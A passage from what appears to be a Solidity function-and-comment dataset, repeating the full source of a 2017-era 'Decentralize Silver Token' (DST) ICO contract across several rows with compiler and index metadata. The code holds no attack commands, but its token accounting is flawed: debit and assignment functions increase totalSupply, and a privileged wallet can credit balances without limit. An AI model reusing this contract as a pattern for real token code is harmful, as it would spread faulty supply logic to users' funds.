if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | setDSTMultiSig | function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
| // Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
1975,
2135
]
} | 8,954 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | addWalletConfig | function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
| // function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// } | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
2834,
3169
]
} | 8,955 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
